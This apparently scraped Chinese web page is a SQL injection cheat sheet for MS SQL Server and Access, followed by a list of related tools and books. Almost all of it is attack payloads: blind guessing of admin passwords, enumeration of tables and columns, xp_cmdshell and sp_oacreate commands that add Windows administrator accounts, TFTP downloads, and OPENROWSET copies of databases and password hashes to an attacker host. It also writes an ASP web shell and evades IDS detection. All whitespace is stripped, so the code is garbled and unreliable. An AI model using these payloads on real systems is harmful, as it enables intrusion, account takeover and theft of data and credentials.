`

sql注入

阅读更多

1.判断有无注入点
';and1=1and1=2

1.1判断数据库类型
(selectcount(*)fromsysobjects)>0
sysobjects(sql)msysobjects(access)

2.猜表一般的表的名称无非是adminadminuseruserpasspassword等..
and0<>(selectcount(*)from*)
and0<>(selectcount(*)fromadmin)---判断是否存在admin这张表

3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个
and0<(selectcount(*)fromadmin)
and1<(selectcount(*)fromadmin)

4.猜解字段名称在len()括号里面加上我们想到的字段名称.
and1=(selectcount(*)fromadminwherelen(*)>0)--
and1=(selectcount(*)fromadminwherelen(用户字段名称name)>0)
and1=(selectcount(*)fromadminwherelen(密码字段名称password)>0)

5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止
and1=(selectcount(*)fromadminwherelen(*)>0)
and1=(selectcount(*)fromadminwherelen(name)>6)错误
and1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6
and1=(selectcount(*)fromadminwherelen(name)=6)正确

and1=(selectcount(*)fromadminwherelen(password)>11)正确
and1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12
and1=(selectcount(*)fromadminwherelen(password)=12)正确

6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)='a')---猜解用户帐号的第一位
and1=(selectcount(*)fromadminwhereleft(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)--
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.


针对字符串类型的暴库,暴表
'having1=1--
'groupbyusers.idhaving1=1--
'groupbyusers.id,users.username,users.password,users.privshaving1=1--
';insertintousersvalues(666,'attacker','foobar',0xffff)--

'unionselectsum(username)fromlogin--
可判断username列的数据类型


针对数字型


系统表information_schema.table饱含了系统中所有表的信息,这个表中的table_name字段包含了所有的表名
UNIONSELECTTOP1TABLE_NAME,TABLE_NAMEfromINFORMATION_SCHEMA.TABLES-
错误中返回了一个表名:syssegments
说明当前数据库包含一个syssegments表,这是在建立数据库的时候系统自动生成的表,我们不关心,接下来继续提交:
unionselecttop1table_name,table_namefrominformation_schema.tableswheretable_namenotin('syssegments')-
返错暴表:login
然后利用information_schema.columns表中的column_name字段来得到login表中的字段名:
unionselecttop1column_name,column_namefrominformationschema.columnswheretable_name='login'-

返错暴表:userid
可继续提交得到其他字段:
unionselecttop1column_name,column_namefrominformation_schema.columnswheretable_name='login'andcolumn_namenotin('userid')-


可参考如下:
UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='logintable'-
UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='logintable'WHERECOLUMN_NAMENOTIN('login_id')-
UNIONSELECTTOP1COLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='logintable'WHERECOLUMN_NAMENOTIN('login_id','login_name')-
UNIONSELECTTOP1login_nameFROMlogintable-
UNIONSELECTTOP1passwordFROMlogintablewherelogin_name='Rahul'--

看服务器打的补丁=出错了打了SP4补丁
and1=(select@@VERSION)--

看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。
and1=(SELECTIS_SRVROLEMEMBER('sysadmin'))--

判断连接数据库帐号。(采用SA账号连接返回正常=证明了连接账号是SA)
and'sa'=(SELECTSystem_user)--
anduser_name()='dbo'--
and0<>(selectuser_name()--

看xp_cmdshell是否删除
and1=(SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype='X'ANDname='xp_cmdshell')--

xp_cmdshell被删除,恢复,支持绝对路径的恢复
;EXECmaster.dbo.sp_addextendedproc'xp_cmdshell','xplog70.dll'--
;EXECmaster.dbo.sp_addextendedproc'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--

反向PING自己实验
;usemaster;declare@sint;execsp_oacreate"wscrīpt.shell",@sout;execsp_oamethod@s,"run",NULL,"cmd.exe/cping192.168.0.1";--

加帐号
;DECLARE@shellINTEXECSP_OACREATE'wscrīpt.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetusersemi$87624908/add'--

提升:
;DECLARE@shellINTEXECSP_OACREATE'wscrīpt.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetlocalgroupadministratossemi$/add'--

创建一个虚拟目录E盘:
;declare@ointexecsp_oacreate'wscrīpt.shell',@ooutexecsp_oamethod@o,'run',NULL,'cscrīpt.exec:\inetpub\wwwroot\mkwebdir.vbs-w"默认Web站点"-v"e","e:\"'--

访问属性:(配合写入一个webshell)
declare@ointexecsp_oacreate'wscrīpt.shell',@ooutexecsp_oamethod@o,'run',NULL,'cscrīpt.exec:\inetpub\wwwroot\chaccess.vbs-aw3svc/1/ROOT/e+browse'

爆库特殊技巧::%5c='\'或者把/和\修改%5提交
and0<>(selecttop1pathsfromnewtable)--

得到库名(从1到5都是系统的id,6以上才可以判断)
and1=(selectnamefrommaster.dbo.sysdatabaseswheredbid=7)--
and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)
依次提交dbid=7,8,9....得到更多的数据库名

and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype='U')暴到一个表假设为admin
and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype='U'andnamenotin('Admin'))来得到其他的表。
and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype='U'andname='admin'
anduid>(str(id)))暴到UID的数值假设为18779569uid=id
and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569)得到一个admin的一个字段,假设为user_id
and0<>(selecttop1namefrombbs.dbo.syscolumnswhereid=18779569andnamenotin
('id',...))来暴出其他的字段
and0<(selectuser_idfromBBS.dbo.adminwhereusername>1)可以得到用户名
依次可以得到密码。。。。。假设存在user_idusername,password等字段

and0<>(selectcount(*)frommaster.dbo.sysdatabaseswherename>1anddbid=6)
and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype='U')得到表名
and0<>(selecttop1namefrombbs.dbo.sysobjectswherextype='U'andnamenotin('Address'))
and0<>(selectcount(*)frombbs.dbo.sysobjectswherextype='U'andname='admin'anduid>(str(id)))判断id值
and0<>(selecttop1namefromBBS.dbo.syscolumnswhereid=773577794)所有字段

?id=-1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,*fromadmin
?id=-1unionselect1,2,3,4,5,6,7,8,*,9,10,11,12,13fromadmin(union,access也好用)

得到WEB路径
;createtable[dbo].[swap]([swappass][char](255));--
and(selecttop1swappassfromswap)=1--
;CREATETABLEnewtable(idintIDENTITY(1,1),pathsvarchar(500))Declare@testvarchar(20)execmaster..xp_regread@rootkey='HKEY_LOCAL_MACHINE',@key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\VirtualRoots\',@value_name='/',values=@testOUTPUTinsertintopaths(path)values(@test)--
;useku1;--
;createtablecmd(strimage);--建立image类型的表cmd

存在xp_cmdshell的测试过程:
;execmaster..xp_cmdshell'dir'
;execmaster.dbo.sp_addloginjiaoniang$;--加SQL帐号
;execmaster.dbo.sp_passwordnull,jiaoniang$,1866574;--
;execmaster.dbo.sp_addsrvrolememberjiaoniang$sysadmin;--
;execmaster.dbo.xp_cmdshell'netuserjiaoniang$1866574/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--
;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsjiaoniang$/add';--
execmaster..xp_servicecontrol'start','schedule'启动服务
execmaster..xp_servicecontrol'start','server'
;DECLARE@shellINTEXECSP_OACREATE'wscrīpt.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetuserjiaoniang$1866574/add'
;DECLARE@shellINTEXECSP_OACREATE'wscrīpt.shell',@shellOUTPUTEXECSP_OAMETHOD@shell,'run',null,'C:\WINNT\system32\cmd.exe/cnetlocalgroupadministratorsjiaoniang$/add'
';execmaster..xp_cmdshell'tftp-iyouipgetfile.exe'--利用TFTP上传文件

;declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:\'
;declare@asysnameset@a='xp'+'_cm’+’dshell'exec@a'dirc:\'
;declare@a;set@a=db_name();backupdatabase@atodisk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select*fromopenrowset('sqloledb','server';'sa';'','select''OK!''execmaster.dbo.sp_addloginhax')

查询构造:
SELECT*FROMnewsWHEREid=...ANDtopic=...AND.....
admin'and1=(selectcount(*)from[user]whereusername='victim'andright(left(userpass,01),1)='1')anduserpass<>'
select123;--
;usemaster;--
:a'ornamelike'fff%';--显示有一个叫ffff的用户哈。
and1<>(selectcount(email)from[user]);--
;update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andstatus>0)wherename='ffff';--
;update[users]setemail=(selecttop1idfromsysobjectswherextype='u'andname='ad')wherename='ffff';--
';update[users]setemail=(selecttop1namefromsysobjectswherextype='u'andid>581577110)wherename='ffff';--
';update[users]setemail=(selecttop1count(id)frompassword)wherename='ffff';--
';update[users]setemail=(selecttop1pwdfrompasswordwhereid=2)wherename='ffff';--
';update[users]setemail=(selecttop1namefrompasswordwhereid=2)wherename='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID得到第二个表的名字

insertintousersvalues(666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)--
insertintousersvalues(667,123,123,0xffff)--
insertintousersvalues(123,'admin''--','password',0xffff)--
;anduser>0
;and(selectcount(*)fromsysobjects)>0
;and(selectcount(*)frommysysobjects)>0//为access数据库

枚举出数据表名
;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上andname<>'刚才得到的表名')。
;updateaaasetaaa=(selecttop1namefromsysobjectswherextype='u'andstatus>0andname<>'vote');--
然后id=1552andexists(select*fromaaawhereaaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;updateaaasetaaa=(selecttop1col_name(object_id('表名'),1));--
然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名
;updateaaasetaaa=(selecttop1col_name(object_id('表名'),2));--
然后id=152andexists(select*fromaaawhereaaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>'你得到的表名'查出一个加一个])[where条件]selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update表名set字段=(selecttop1col_name(object_id('要查询的数据表名'),字段列如:1)[where条件]

绕过IDS的检测[使用变量]
;declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:\'
;declare@asysnameset@a='xp'+'_cm’+’dshell'exec@a'dirc:\'

1、开启远程数据库
基本语法
select*fromOPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=123','select*fromtable1')
参数:(1)OLEDBProvidername
2、其中连接字符串参数可以是任何端口用来连接,比如
select*fromOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*fromtable'
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法:
insertintoOPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=123','select*fromtable1')select*fromtable2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*fromtable1')select*fromtable2
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*from_sysdatabases')
select*frommaster.dbo.sysdatabases
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*from_sysobjects')
select*fromuser_database.dbo.sysobjects
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*from_syscolumns')
select*fromuser_database.dbo.syscolumns
复制数据库:
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*fromtable1')select*fromdatabase..table1
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*fromtable2')select*fromdatabase..table2

复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:
insertintoOPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select*from_sysxlogins')select*fromdatabase.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。

遍历目录的方法:先创建一个临时表:temp
';createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
';inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器
';insertintotemp(id)execmaster.dbo.xp_subdirs'c:\';--获得子目录列表
';insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--获得所有子目录的目录树结构,并寸入temp表中
';insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:\web\index.asp';--查看某个文件的内容
';insertintotemp(id)execmaster.dbo.xp_cmdshell'dirc:\';--
';insertintotemp(id)execmaster.dbo.xp_cmdshell'dirc:\*.asp/s/a';--
';insertintotemp(id)execmaster.dbo.xp_cmdshell'cscrīptC:\Inetpub\Adminscrīpts\adsutil.vbsenumw3svc'
';insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--(xp_dirtree适用权限PUBLIC)
写入表:
语句1:and1=(SELECTIS_SRVROLEMEMBER('sysadmin'));--
语句2:and1=(SELECTIS_SRVROLEMEMBER('serveradmin'));--
语句3:and1=(SELECTIS_SRVROLEMEMBER('setupadmin'));--
语句4:and1=(SELECTIS_SRVROLEMEMBER('securityadmin'));--
语句5:and1=(SELECTIS_SRVROLEMEMBER('securityadmin'));--
语句6:and1=(SELECTIS_SRVROLEMEMBER('diskadmin'));--
语句7:and1=(SELECTIS_SRVROLEMEMBER('bulkadmin'));--
语句8:and1=(SELECTIS_SRVROLEMEMBER('bulkadmin'));--
语句9:and1=(SELECTIS_MEMBER('db_owner'));--

把路径写到表中去:
;createtabledirs(pathsvarchar(100),idint)--
;insertdirsexecmaster.dbo.xp_dirtree'c:\'--
and0<>(selecttop1pathsfromdirs)--
and0<>(selecttop1pathsfromdirswherepathsnotin('@Inetpub'))--
;createtabledirs1(pathsvarchar(100),idint)--
;insertdirsexecmaster.dbo.xp_dirtree'e:\web'--
and0<>(selecttop1pathsfromdirs1)--

把数据库备份到网页目录:下载
;declare@asysname;set@a=db_name();backupdatabase@atodisk='e:\web\down.bak';--

and1=(Selecttop1namefrom(Selecttop12id,namefromsysobjectswherextype=char(85))Torderbyiddesc)
and1=(SelectTop1col_name(object_id('USER_LOGIN'),1)fromsysobjects)参看相关表。
and1=(selectuser_idfromUSER_LOGIN)
and0=(selectuserfromUSER_LOGINwhereuser>1)

-=-wscrīpt.shellexample-=-
declare@oint
execsp_oacreate'wscrīpt.shell',@oout
execsp_oamethod@o,'run',NULL,'notepad.exe'
';declare@ointexecsp_oacreate'wscrīpt.shell',@ooutexecsp_oamethod@o,'run',NULL,'notepad.exe'--

declare@oint,@fint,@tint,@retint
declare@linevarchar(8000)
execsp_oacreate'scrīpting.filesystemobject',@oout
execsp_oamethod@o,'opentextfile',@fout,'c:\boot.ini',1
exec@ret=sp_oamethod@f,'readline',@lineout
while(@ret=0)
begin
print@line
exec@ret=sp_oamethod@f,'readline',@lineout
end

declare@oint,@fint,@tint,@retint
execsp_oacreate'scrīpting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:\inetpub\wwwroot\foo.asp',1
exec@ret=sp_oamethod@f,'writeline',NULL,
'<%seto=server.createobject("wscrīpt.shell"):o.run(request.querystring("cmd"))%>'

declare@oint,@retint
execsp_oacreate'speech.voicetext',@oout
execsp_oamethod@o,'register',NULL,'foo','bar'
execsp_oasetproperty@o,'speed',150
execsp_oamethod@o,'speak',NULL,'allyoursequelserversarebelongto,us',528
waitfordelay'00:00:05'

';declare@oint,@retintexecsp_oacreate'speech.voicetext',@ooutexecsp_oamethod@o,'register',NULL,'foo','bar'execsp_oasetproperty@o,'speed',150execsp_oamethod@o,'speak',NULL,'allyoursequelserversarebelongtous',528waitfordelay'00:00:05'--

xp_dirtree适用权限PUBLIC
execmaster.dbo.xp_dirtree'c:\'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
createtabledirs(pathsvarchar(100),idint)
建表,这里建的表是和上面xp_dirtree相关连,字段相等、类型相同。
insertdirsexecmaster.dbo.xp_dirtree'c:\'
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!

分享到:
评论

相关推荐

    SQL注入全面讲解技术文档

    SQL注入漏洞全接触 注入是常见的利用程序漏洞进行攻击的方法,是很多入门级"黑客"喜欢采用的攻击方式,近来网上对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻击。 全文分为十...

    SQL手工注入大全:包含各种类型的SQL注入,实现手工注入的乐趣,此资源你值得拥有。

    SQL手工注入大全:包含各种类型的SQL注入,实现手工注入的乐趣,此资源你值得拥有。 此资源包含:宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(Sql Server数据库)、SQL手工注入漏洞测试...

    sql注入sql注入sql注入sql注入sql注入

    sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入sql注入

    C#防SQL注入代码的三种方法

    对于网站的安全性,是每个网站开发者和运营者最关心的问题。网站一旦出现漏洞,那势必将造成很大的损失。为了提高网站的安全性,首先网站要防注入,最重要的是服务器的安全... C#防SQL注入方法一  在Web.config文件中

    寻找sql注入的网站的方法(必看)

    方法一:利用google高级搜索,比如搜索url如.asp?... 您可能感兴趣的文章:Java面试题解析之判断以及防止SQL注入SQL注入原理与解决方法代码示例通过ibatis解决sql注入问题Win2003服务器防SQL注入神器–D盾_IIS防火墙

    SQL注入攻击与防御(第2版).part1

    SQL注入攻击是一种已经长期存在,但近年来日益增长的安全威胁,《安全技术经典译丛:SQL注入攻击与防御(第2版)》致力于深入探讨SQL注入问题。  《安全技术经典译丛:SQL注入攻击与防御(第2版)》前一版荣获2009...

    sql注入工具sql注入工具sql注入工具sql注入工具

    sql注入工具sql注入工具sql注入工具sql注入工具sql注入工具sql注入工具

    超级sql注入工具

    超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。 超级SQL注入工具目前支持Bool型盲注、错误显示注入、...

    安全测试-常见sql注入方法,命令

    安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入方法,命令安全测试-常见sql注入...

    SQL 注入天书.pdf

    SQL 注入学习天书

    SQL注入攻击与防御

    SQL注入是Internet上最危险、最有名的安全漏洞之一,《SQL注入攻击与防御》是目前唯一一本专门致力于讲解SQL威胁的图书。《SQL注入攻击与防御》作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的...

    sql注入攻击流量情况

    sql注入攻击流量情况

    sql注入讲解ppt.pptx

    对sql注入一些基础知识的讲解

    SQL注入之如何检测与判断详细过程

    SQL注入系列大纲分为: 1、检测 2、Sqlmap的使用 3、编写sqlmap的tamper 4、Fuzz过waf 5、sqlmapApi的使用 以前注入点满大街,一个单引号就可以判断出是否存在注入点。但是如今随着各大厂商越来越注重安全,各种...

    SQL注入攻击与防御(安全技术经典译丛)

    本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。针对SQL...

    利用谷歌搜索SQL注入漏洞关键词

    利用谷歌搜索SQL注入漏洞关键词 目标关键字+inurl:id 英语字母及单词+inurl:id 网站域名+inurl:id 阿拉伯数字+inurl:id inurl:asp?id= inurl:Article_Print.asp? EnCompHonorBig.asp?id=随便加个数字 showproduct....

    超级SQL注入工具

    超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。 超级SQL注入工具目前支持Bool型盲注、错误显示注入、...

    C# MVC 过滤器防止SQL注入

    C# MVC 过滤器防止SQL注入

    pangolinsdl—sql注入工具

    pangolinsdl—sql注入工具 很好用的sql注入工具 界面简洁好用 使用方便

Global site tag (gtag.js) - Google Analytics